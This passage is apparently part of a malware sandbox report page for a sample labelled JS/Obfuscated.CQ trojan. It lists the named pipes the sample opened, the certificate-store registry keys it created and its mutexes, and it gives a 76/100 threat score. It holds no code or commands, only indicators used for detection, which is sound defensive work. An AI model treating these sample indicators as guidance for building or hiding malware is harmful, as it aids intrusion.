pipe\\crashpad_7496_IKUPJEBAPSXOPCUM","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"path":"PIPE\\wkssvc","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D03DB0C1-2729-4674-A875-8625DD784300}","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{3FC98E00-C370-43D9-A2DC-B067CC06FAD9}","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"path":"pipe\\LOCAL\\mojo.7496.1404.12814079441922954739","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"path":"pipe\\LOCAL\\mojo.7496.1404.1496221704320700420","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"path":"pipe\\LOCAL\\mojo.7496.1404.8579876793013337477","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"path":"pipe\\crashpad_7408_ADVLIPXNOUVCRGBE","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"path":"pipe\\LOCAL\\mojo.7408.5812.4937989305763151891","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"path":"pipe\\LOCAL\\mojo.7408.5812.15494818908966999505","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"path":"pipe\\LOCAL\\mojo.7408.5812.15994112237284233206","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"path":"pipe\\LOCAL\\mojo.7408.5812.15618235042059561797","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"path":"pipe\\LOCAL\\mojo.7408.6872.1942387465591962001","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"path":"pipe\\LOCAL\\mojo.7408.6872.7924737603494810261","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"path":"pipe\\LOCAL\\mojo.7408.6872.8608974258402717925","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\DBWinMutex","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\ChromeProcessSingletonStartup!","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7496:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7496:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"name":"Local\\SM0:7496:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"name":"DBWinMutex","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"name":"ChromeProcessSingletonStartup!","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"name":"SM0:7496:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7496:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7408:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7408:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"name":"3C98A163-8D7E-41B1-B10A-97B5BD62B79FUD","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"name":"Local\\SM0:7408:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"name":"SM0:7408:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\3C98A163-8D7E-41B1-B10A-97B5BD62B79FUD","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]}]}},"report_ids":{"sandbox_job_ids":["6aaa98cd2aaaafe64502592d"]}}}]]}] 1b:null 1f:[["$","title","0",{"children":"Malicious JS/Obfuscated.CQ trojan Sample 0bd9a8e1c308… — Score 76/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 0bd9a8e1c308…. Malware family: JS/Obfuscated.CQ trojan. Threat score 76/100. 2/26 AV engines flagged this file. 1 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/0bd9a8e1c30847e5fbeacc29b76ce8fc9dd54e50cfb9796dcf16348623b1bc1f"}],["$","meta","4",{"property":"og:title","content":"Malicious JS/Obfuscated.CQ trojan Sample 0bd9a8e1c308… — Score 76/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 0bd9a8e1c308…. Malware family: JS/Obfuscated.CQ trojan. Threat score 76/100. 2/26 AV engines flagged this file. 1 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/0bd9a8e1c30847e5fbeacc29b76ce8fc9dd54e50cfb9796dcf16348623b1bc1f"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious JS/Obfuscated.CQ trojan Sample 0bd9a8e1c308… — Score 76/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 0bd9a8e1c308…. Malware family: JS/Obfuscated.CQ trojan. Threat score 76/100. 2/26 AV engines flagged this file. 1 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L48","11",{}]]